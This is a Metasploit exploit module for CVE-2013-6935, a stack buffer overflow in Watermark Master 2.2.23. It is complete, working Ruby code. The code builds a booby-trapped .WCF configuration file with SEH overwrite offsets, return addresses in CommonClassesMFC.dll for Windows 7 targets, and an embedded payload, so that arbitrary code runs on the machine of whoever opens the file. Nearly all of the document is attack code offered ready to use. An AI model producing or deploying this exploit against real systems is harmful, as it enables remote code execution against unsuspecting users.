Watermark Master Buffer Overflow (SEH)

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Watermark Master Buffer Overflow (SEH)',  
'Description' => %q{  
This module exploits a stack based buffer overflow in Watermark Master 2.2.23 when  
processing a specially crafted .WCF file. This vulnerability could be  
exploited by a remote attacker to execute arbitrary code on the target  
machine by enticing a user of Watermark Master to open a malicious .WCF file.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'metacom', # Original discovery  
'Andrew Smith', # MSF Module  
],  
'References' =>  
[  
[ 'OSVDB', '99226' ],  
[ 'CVE', '2013-6935'],  
[ 'EBD', '29327' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x3c\x22\x26",  
'DisableNops' => false,  
'Space' => 7276  
},  
  
'Targets' =>  
[  
[ 'Windows 7 x32 - Watermark Master 2.2.23',  
{  
'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll  
'Offset' => 516  
}  
],  
[ 'Windows 7 x64 - Watermark Master 2.2.23',  
{  
'Ret' => 0x1001329a, #p/p/r | CommonClassesMFC.dll  
'Offset' => 516  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 1 2013',  
'DefaultTarget' => 0))  
  
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),], self.class)  
  
end  
  
def exploit  
  
buffer = rand_text(target['Offset'])  
buffer << generate_seh_record(target.ret)  
buffer << payload.encoded  
buffer << rand_text(18000 - buffer.length)  
  
file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.2.23.00">  
<cols name="Files"/>  
<cols name="Profiles">  
<Property name="Profile">  
<cols name="Watermarks"/>  
<cols name="Timelines"/>  
<cols name="Streams">  
<Property name="Stream">  
<Value name="SourcePath" type="8" value="#{buffer}"/>  
</Property>  
</cols>  
<cols name=""/>  
</Property>  
</cols>  
</config>|  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(file)  
  
end  
end  
  
`